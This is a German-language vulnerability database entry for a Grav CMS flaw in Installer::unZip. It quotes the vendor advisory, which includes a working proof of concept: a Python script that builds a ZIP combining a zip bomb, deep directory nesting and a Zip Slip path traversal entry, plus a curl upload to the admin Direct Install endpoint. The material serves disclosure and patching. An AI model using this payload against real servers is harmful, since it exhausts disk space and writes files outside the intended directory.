CVE-2026-59193
mediumPriorität · verfolgen · 20EPSS 0.006 · 49. PerzentilEUUSEPSS · bewertet 2026-10-27
Grav is a file-based Web platform. Prior to 2.0.0, an authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool because Installer::unZip calls ZipArchive::extractTo without limits on uncompressed size, entry count, or directory depth. This issue is fixed in version 2.0.0.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (4)
Betroffene Produkte und Versionsbereiche.
Advisories (1)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-2vcx-h8p2-9pg9Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip()2026-09-16ghsa · osvUS
### Summary An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion. ### Details The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents. Missing validation: - ❌ No total uncompressed size check (decompression bomb — CWE-409) - ❌ No entry count check (inode exhaustion) - ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674) The subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk. The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits. ### PoC 1. Generate the malicious ZIP: python3 cve_poc_grav_zip.py: ```python #!/usr/bin/env python3 """ CVE PoC — Grav CMS Installer::unZip() Zip Bomb + Zip Slip + Deep Nesting ZIP file to attach to the CVE advisory. Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409) which has NO CVE — extracted size/depth/count have no limits. """ import zipfile, os, sys OUT = "/tmp/cve_poc_grav.zip" def build(): with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z: # --- Zip Slip: arbitrary write outside target --- z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n") # --- Deep nesting: 100 levels → Folder::delete() has no depth limit --- for i in range(100): z.writestr(f"deep/{'x/' * i}.keep", "") # --- Compression bomb: 100 identical files = ratio ~ 196:1 --- for i in range(100): z.writestr(f"bomb/{i}.dat", b"A" * 100_000) with zipfile.ZipFile(OUT) as z: infos = z.infolist() compressed = os.path.getsize(OUT) uncompressed = sum(e.file_size for e in infos) slip = any(".." in e.filename for e in infos) depths = [e.filename.count('/') for e in infos] print("=" * 60) print("CVE PoC — Grav CMS Installer::unZip()") print("Zip Bomb | Zip Slip | Deep Nesting") print("=" * 60) print(f"File : {OUT}") print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)") print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)") print(f"Ratio : {uncompressed/compressed:.0f}:1") print(f"Entries : {len(infos)}") print(f"Max depth : {max(depths) if depths else 0}") print(f"Zip Slip (../) : {'YES' if slip else 'NO'}") print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall") print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write") if __name__ == "__main__": build() ``` 3. Authenticate as admin.super and retrieve the nonce from /admin 4. Upload through Direct Install: ``` curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \ -H 'Cookie: grav-admin=<SESSION>' \ -F 'admin-nonce=<NONCE>' \ -F 'uploaded_file=@/tmp/cve_poc_grav.zip' ``` Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion. ### Impact An authenticated administrator (admin.super) can: - Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs) - Exhaust inodes via thousands of small files - Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently - Partially or fully deny service to all users (both authenticated and unauthenticated)
auch bekannt als (2)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (9)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/getgrav/grav/commit/23d6f2adf4ce11889c088ac8557c8314baeef781cnnvd
- https://github.com/getgrav/grav/releases/tag/2.0.0cnnvd
- https://github.com/getgrav/grav/security/advisories/GHSA-2vcx-h8p2-9pg9cnnvd
- https://github.com/getgrav/grav/commit/23d6f2adf4ce11889c088ac8557c8314baeef781enisa_euvd
- https://github.com/getgrav/grav/releases/tag/2.0.0enisa_euvd
- https://github.com/getgrav/grav/security/advisories/GHSA-2vcx-h8p2-9pg9enisa_euvd
- https://github.com/getgrav/grav/commit/23d6f2adf4ce11889c088ac8557c8314baeef781Patchnvd
- https://github.com/getgrav/grav/releases/tag/2.0.0Productnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan